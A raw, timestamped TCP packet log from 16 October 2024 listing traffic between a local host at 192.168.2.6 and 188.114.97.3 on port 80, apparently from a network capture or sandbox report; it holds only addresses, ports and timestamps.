                                                                                    Oct 16, 2024 10:58:09.553499937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.553673029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.553699017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.553713083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.553728104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.553740025 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.553741932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.553781986 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.554124117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.554138899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.554155111 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.554163933 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.554172039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.554188013 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.554200888 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.554215908 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.554383039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.554397106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.554457903 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.562935114 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.562983990 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.563004017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.563019037 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.563041925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.563043118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.563060045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.563065052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.563075066 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.563081026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.563095093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.563110113 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.563117027 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.563148022 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.563498020 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.563513994 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.563528061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.563539982 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.563570976 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.604646921 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.604831934 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.604846001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.604897976 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.604933023 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.659703970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.659754992 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.659765959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.659781933 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.659806013 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.659811020 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.659822941 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.659848928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.659863949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.659889936 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.659923077 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.660043001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.660058022 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.660099030 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.670905113 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.670921087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.670934916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.670949936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.670964003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.670970917 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.670999050 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.671053886 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671089888 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.671113014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671134949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671149015 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.671155930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671171904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671180010 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.671196938 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.671209097 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.671506882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671545029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671559095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671582937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.671612978 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.671626091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671641111 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671654940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671679974 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.671704054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.671981096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.671997070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.672012091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.672043085 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.672068119 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.672106028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.672121048 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.672136068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.672152042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.672161102 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.672166109 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.672189951 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.672207117 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.681102037 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681117058 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681132078 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681169987 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.681196928 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.681204081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681219101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681250095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681260109 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.681265116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681291103 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.681317091 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.681339025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681354046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681369066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681384087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.681391954 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.681422949 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.727201939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.727217913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.727231979 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.727333069 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.778901100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.778928041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.778944016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.778949022 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.778983116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.778983116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.779072046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.779109001 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.779237986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.779254913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.779268980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.779274940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.779284954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.779293060 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.779299974 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.779309988 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.779318094 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.779326916 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.779341936 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.779357910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.788683891 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.788700104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.788722992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.788737059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.788738966 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.788753033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.788758039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.788769960 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.788769960 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.788806915 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.788820028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.788924932 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.788986921 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789002895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789017916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789045095 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.789062023 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.789279938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789295912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789310932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789328098 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.789345980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.789354086 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.789488077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789501905 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789516926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789530993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789531946 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.789546967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.789549112 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.789560080 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.789583921 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.790671110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.790719986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.790735006 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.790749073 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.790750027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.790766954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.790770054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.790785074 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.790810108 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.798588037 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.798643112 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.798676968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.798712969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.798718929 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.798762083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.798777103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.798778057 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.798804045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.798820019 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.798886061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.798907995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.798924923 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.798943996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.798955917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.798990965 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.798991919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.799031019 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.799170017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.799186945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.799202919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.799221992 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.799237967 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.799247026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.799251080 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.799292088 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.799411058 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.799462080 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.799479008 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.799520969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.799530029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.799542904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.799563885 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.799578905 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.844655037 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.844671011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.844686031 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.844722986 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.844755888 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.897277117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897293091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897308111 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897336006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.897382021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.897434950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897449970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897464991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897481918 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897490978 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.897505045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897511005 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.897521019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897536039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897542953 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.897552967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897564888 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.897569895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.897592068 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.897615910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.905937910 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.905987978 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906002045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906018019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906039000 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906055927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906056881 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906073093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906115055 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906152010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906173944 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906191111 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906192064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906218052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906223059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906234980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906239986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906276941 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906570911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906624079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906640053 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906647921 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906671047 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906672001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906687975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.906706095 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.906725883 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.907140970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.907155991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.907171011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.907185078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.907217026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.907226086 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.907474041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.907490969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.907505035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.907519102 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.907521963 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.907535076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.907545090 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.907545090 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.907563925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.907576084 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.917217970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917232990 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917246103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917267084 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.917296886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.917355061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917371035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917385101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917406082 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.917431116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.917505026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917520046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917541027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917562008 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.917596102 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.917660952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917675018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917689085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917700052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.917716980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.917727947 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.917953968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917968988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917984009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.917992115 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.918009996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.918021917 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.962131023 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.962177992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.962192059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:09.962234974 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:09.962271929 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.014734983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.014760017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.014777899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.014801979 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.014820099 CEST8049735188.114.97.3192.168.2.6
